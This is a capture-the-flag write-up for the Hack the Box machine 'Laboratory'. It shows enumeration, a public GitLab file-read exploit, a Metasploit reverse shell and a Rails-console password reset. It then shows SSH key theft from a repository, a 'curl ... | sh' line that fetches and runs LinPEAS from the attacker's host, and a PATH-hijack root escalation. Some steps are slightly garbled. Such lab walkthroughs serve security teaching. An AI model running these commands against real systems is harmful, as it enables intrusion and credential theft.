Laboratory
Writeup for Laboratory from Hack the Box
Last updated
Was this helpful?
Writeup for Laboratory from Hack the Box
Last updated
Was this helpful?
nmap -sV -T4 -p- 10.10.10.216
Accessing the IP address via HTTP returns a 302 status code, and redirects to https://laboratory.htb/
Add the following line to the /etc/hosts file:
Now the page displays properly.
If we scroll down, we can see that Dexter is listed as the CEO of the company.
Looking at the source code:
Navlinks commented out. However, elements.html and generic.html do not exist.
gobuster dir -u https://laboratory.htb/ -w /usr/share/wordlists/dirb/common.txt -k
When I first ran gobuster without the -w flag, I got this error:
So I added the following to /etc/hosts:
and accessed git.laboratory.htb.
searchsploit gitlab
I went ahead and created an account. Note: to overcome the email domain validation, use @laboratory.htb for the email domain.
Found an exploit code here: https://github.com/thewhiteh4t/cve-2020-10977
(for Gitlab 12.9.0 - Arbitrary File Read)
python3 gitlab_exploit.py https://git.laboratory.htb me zeyu2001
We can read the /etc/passwd file:
Didn't work with any of the open-source Python scripts. If this was the actual OSCP, I would have used my Metasploit 'budget' on this machine.
Using Metasploit with the above options, I was able to spawn a reverse shell.
'Upgrade' the shell: python3 -c 'import pty;pty.spawn("/bin/bash")'
Now that we gained a shell as the git user, we are inside the gitlab-rails CLI. In order to gain access to Dexter's account, we need to reset the password, like this: https://docs.gitlab.com/ee/security/reset_user_password.html
Since Dexter is likely the 'main user', I guessed that his user ID is 1.
Full commands to reset the password via Rails Console:
Using the dexter:mynewpass combination, we can login to the GitLab web GUI.
I then tried to SSH into Dexter's account, but a public/private key pair is required.
From the SecureDocker repo, we can navigate to securedocker/dexter/.ssh/id_rsa to get the private key. Save this in a file id_rsa on the attacking machine. Note that the public key for this privste key is in the securedocker/dexter/.ssh/authorized_keys file.
SSH in: ssh -i id_rsa dexter@git.laboratory.htb. We can now get the user.txt:
Run LinPEAS (start Python Simple HTTP Server on attacking machine, then do curl "http://10.10.14.16/linpeas.sh" | sh in SSH)
Sadly, neither worked.
In the list of SUID files (from the LinPEAS output), the /usr/local/bin/docker-security binary looked out of place.
Strings wasn't installed on the target machine, so I downloaded the binary into my Kali machine: scp -i id_rsa dexter@laboratory.htb:/usr/local/bin/docker-security .
strings docker-security
Good, the binary uses relative paths for setuid, etc. This allows us to create our own setuid binary, and manipuate the PATH variable so that our own binary is executed instead.
Change working directory to /tmp: cd /tmp
Copy the /bin/sh shell and call it setuid: echo /bin/sh > setuid
Give the correct permissions: chmod 777 setuid
Put its location, the /tmp directory, in the PATH: export PATH=/tmp:$PATH
Since the SUID flag is set, the /bin/sh is run as root, which is the owner of the file. Here, we created a fake setuid binary and added the /tmp directory to the PATH. When the docker-security binary runs setuid, our fake binary is run, spawning a bash shell as root.